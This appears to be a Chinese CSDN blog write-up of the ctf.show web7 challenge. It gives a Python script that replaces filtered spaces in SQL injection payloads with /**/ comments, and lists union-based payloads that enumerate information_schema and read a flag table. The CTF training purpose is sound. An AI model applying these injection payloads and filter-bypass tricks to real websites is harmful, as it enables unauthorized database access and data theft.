SQL注入屏蔽词替换python脚本(例题:ctf.show-web7)

本文介绍了在CTF比赛和Linux环境中如何使用脚本批量替换SQL注入关键字,以避免payload修改的繁琐。通过示例脚本展示了如何替换并演示了关键字屏蔽的常见绕过方法。在实例中,解析了一个SQL注入场景,展示了如何探测和规避关键字屏蔽以获取数据,最终成功获取flag。
摘要由CSDN通过智能技术生成

适用场景

在ctf中经常会有关键字的屏蔽,例如屏蔽空格,屏蔽select等关键字。使用脚本直接完成关键字替换,避免pyload修改过于麻烦。
同时适用于linux等命令的屏蔽

常见绕过

学习链接:
https://www.cnblogs.com/Vinson404/p/7253255.html

脚本

shield=' '#屏蔽词
replace='/**/'#替换值

#and=&&  or=||
#下面是参考payload,自己输入时注释以#结尾最好
payload1="1' or 1=1#"
payload2="1' or 1=1 order by 3#"
payload3="1' union select 1,2,3#"

payload4="1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3#"

payload5="1' union select 1,(select flag from web2.flag),3#"
#payload=input('please input your payload:\n')

new_payload=payload5.replace(shield,replace)

print('替换后的值:')

print(new_payload)

结果示例:

替换后的值:
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web2.flag),3#

例题(ctf.show-web7)

在这里插入图片描述

这里仿真的是一个文章查看及查询的界面,它的url有关键字?id=1,可以确定为sql注入
在这里插入图片描述
进行探测,提示错误,那很有可能是屏蔽了关键字,使用脚本替换空格再放进去
在这里插入图片描述
探测成功,并且有两个位置回显
在这里插入图片描述
按照常规流程获取数据,获取时发现貌似还屏蔽了 and,避开就好
在这里插入图片描述
取得flag
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值